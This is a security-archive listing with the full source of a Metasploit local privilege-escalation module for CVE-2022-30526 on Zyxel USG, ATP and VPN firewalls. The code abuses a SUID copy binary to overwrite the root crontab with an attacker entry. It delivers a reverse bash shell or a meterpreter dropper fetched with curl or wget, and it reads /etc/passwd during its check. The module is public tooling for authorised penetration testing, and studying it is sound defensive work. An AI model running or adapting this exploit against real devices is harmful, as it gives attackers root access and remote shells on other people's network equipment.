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Zyxel Firewall SUID Binary Privilege Escalation

Zyxel Firewall SUID Binary Privilege Escalation
Posted Aug 31, 2022
Authored by jbaines-r7 | Site metasploit.com

This Metasploit module exploits CVE-2022-30526, a local privilege escalation vulnerability that allows a low privileged user (e.g. nobody) escalate to root. The issue stems from a suid binary that allows all users to copy files as root. This module overwrites the firewall's crontab to execute an attacker provided script, resulting in code execution as root. In order to use this module, the attacker must first establish shell access. For example, by exploiting CVE-2022-30525. Known affected Zyxel models include USG FLEX (50, 50W, 100W, 200, 500, 700), ATP (100, 200, 500, 700, 800), VPN (50, 100, 300, 1000), USG20-VPN and USG20W-VPN.

tags | exploit, shell, local, root, code execution
advisories | CVE-2022-30526
SHA-256 | ce0978f09bdc4f825505d8590e1f429b3ba8069c5e7e83d2268b514b437133c9

Zyxel Firewall SUID Binary Privilege Escalation

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::File
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Zyxel Firewall SUID Binary Privilege Escalation',
'Description' => %q{
This module exploits CVE-2022-30526, a local privilege escalation vulnerability that
allows a low privileged user (e.g. nobody) escalate to root. The issue stems from
a suid binary that allows all users to copy files as root. This module overwrites
the firewall's crontab to execute an attacker provided script, resulting in code
execution as root.

In order to use this module, the attacker must first establish shell access. For
example, by exploiting CVE-2022-30525.

Known affected Zyxel models are: USG FLEX (50, 50W, 100W, 200, 500, 700),
ATP (100, 200, 500, 700, 800), VPN (50, 100, 300, 1000), USG20-VPN and USG20W-VPN.
},
'References' => [
['CVE', '2022-30526'],
['URL', 'https://www.zyxel.com/support/Zyxel-security-advisory-authenticated-directory-traversal-vulnerabilities-of-firewalls.shtml']
],
'Author' => [
'jbaines-r7' # discovery and metasploit module
],
'DisclosureDate' => '2022-06-14',
'License' => MSF_LICENSE,
'Platform' => ['linux', 'unix'],
'Arch' => [ARCH_CMD, ARCH_MIPS64],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_MIPS64],
'Type' => :linux_dropper,
'CmdStagerFlavor' => [ 'curl', 'wget' ],
'DefaultOptions' => {
'PAYLOAD' => 'linux/mips64/meterpreter_reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'MeterpreterTryToFork' => true,
'WfsDelay' => 70
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK]
}
)
)
end

# The check first establishes the system is a Zyxel firewall by parsing the
# /zyinit/fwversion file. Then it attempts to prove that zysudo.suid can be
# used by the user to write to otherwise unwrittable location.
def check
fwversion_data = read_file('/zyinit/fwversion')
if fwversion_data.nil? || fwversion_data.empty?
return CheckCode::Safe('Could not read /zyinit/fwversion. The target is not a Zyxel firewall.')
end

model_id = fwversion_data[/MODEL_ID=(?<model_id>[^\n]+)/, :model_id]
return CheckCode::Unknown('Failed to identify the firewall model.') if model_id.nil? || model_id.empty?

firmware_ver = fwversion_data[/FIRMWARE_VER=(?<firmware_ver>[^\n]+)/, :firmware_ver]
return CheckCode::Unknown('Failed to identify the firmware version.') if firmware_ver.nil? || firmware_ver.empty?

test_file = "/var/zyxel/#{rand_text_alphanumeric(12..16)}"
unless cmd_exec("/bin/cp /etc/passwd #{test_file}") == "/bin/cp: cannot create regular file '#{test_file}': Permission denied"
return CheckCode::Unknown("Failed to generate a permission issue. System version: #{model_id}, #{firmware_ver}")
end

suid_copy_result = cmd_exec("zysudo.suid /bin/cp /etc/passwd #{test_file}")
unless suid_copy_result.empty?
return CheckCode::Safe("zysudo.suid copy failed. System version: #{model_id}, #{firmware_ver}")
end

# clean up the created file
cmd_exec("zysudo.suid /bin/rm #{test_file}")

return CheckCode::Vulnerable("System version: #{model_id}, #{firmware_ver}")
end

# no matter what happens, try to reset the crontab to the original state and
# delete the backup file.
def cleanup
unless @crontab_backup.nil?
print_status('Resetting crontab to the original version')
cmd_exec("zysudo.suid /bin/cp #{@crontab_backup} /var/zyxel/crontab")
rm_rf(@crontab_backup)
end
end

def execute_command(cmd, _opts = {})
# this file will contain the payload and get executed by cron
exec_filename = "/tmp/#{rand_text_alphanumeric(6..12)}"
register_file_for_cleanup(exec_filename)
cmd_exec("echo -e \"#!/bin/bash\\n\\n#{cmd}\" > #{exec_filename}")
cmd_exec("chmod +x #{exec_filename}")

# this file will be a copy of the original crontab, plus our additional malicious entry
evil_crontab = "/tmp/#{rand_text_alphanumeric(6..12)}"
register_file_for_cleanup(evil_crontab)
copy_file('/var/zyxel/crontab', evil_crontab)
cmd_exec("echo '* * * * * root #{exec_filename} &' >> #{evil_crontab}")

# this is the backup copy of the original crontab. It'll be restored on new session
@crontab_backup = "/tmp/#{rand_text_alphanumeric(6..12)}"
copy_file('/var/zyxel/crontab', @crontab_backup)

# overwrite the legitimate crontab. this is how we get exectuion.
print_status('Overwriting /var/zyxel/crontab')
cmd_exec("zysudo.suid /bin/cp #{evil_crontab} /var/zyxel/crontab")

# check if the session has been created. Give it 70 seconds to come in.
# The extra 10 seconds is to account for high latency links.
print_status('The payload may take up to 60 seconds to be executed by cron')
sleep_count = 70
until session_created? || sleep_count == 0
sleep(1)
sleep_count -= 1
end
end

def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end
end
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